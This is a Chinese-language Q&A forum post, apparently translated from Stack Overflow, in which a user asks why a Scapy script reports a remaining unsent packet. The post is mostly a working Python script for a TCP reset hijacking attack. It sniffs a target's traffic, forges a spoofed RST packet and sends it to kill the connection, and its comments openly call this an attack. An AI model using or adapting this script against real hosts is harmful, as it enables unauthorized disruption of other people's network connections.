scape剩余数据包,未收到

2024-04-26 13:53:58 发布

您现在位置:Python中文网/ 问答频道 /正文

我和斯卡比有个问题,上面写着:

Finished to send 1 packets

但我在tcpdump上没有收到任何信息,当我关闭scape时:

^{pr2}$

“剩余1包”是什么意思? 代码如下:

#Usage: script.py serveur_ip serveur_port client_ip
from scapy.all import *
import sys

#Création of the filter for the sniffer
filtre="host " + sys.argv[1] + " and port " + sys.argv[2]
print "THe filter used will be : {}".format(filtre)

#Function used by the sniffer for each received packet:
def rst_hijack(p):
    #If the source is the remote-host and the destination is the target
    if p[IP].src==sys.argv[1] and p[IP].dst==sys.argv[3]:
        print "Connexion trouvée"
        #We forge a packet for our attack from the received packet
        #Ethernet
        ether=Ether(dst=p[Ether].src, src=p[Ether].dst)
        ether.show()
        #IP
        ip=IP(src=p[IP].dst, dst=p[IP].src, ihl=p[IP].ihl, flags=p[IP].flags, frag=p[IP].frag, ttl=p[IP].ttl,
            proto=p[IP].proto, id=29221)
        ip.show()
        #TCP
        tcp=TCP(sport=p[TCP].dport, dport=p[TCP].sport, seq=p[TCP].ack, ack=p[TCP].seq, dataofs=p[TCP].dataofs,
            reserved=p[TCP].reserved, flags="R", window=p[TCP].window, options=p[TCP].options)
        tcp.show()
        #We forge the final paquet
        reset=ether/ip/tcp
        reset.show()
        #We send it
        srp(reset)
        exit()

#Sniffer That applies to each packet the rst_hijack function, packet filtered according to the filter
sniff(count=0, iface="ens37", prn=lambda p: rst_hijack(p), filter=filtre, lfilter=lambda x: x.haslayer(IP) and x.haslayer(TCP))

Tags: andthetoipsrcforpacketshow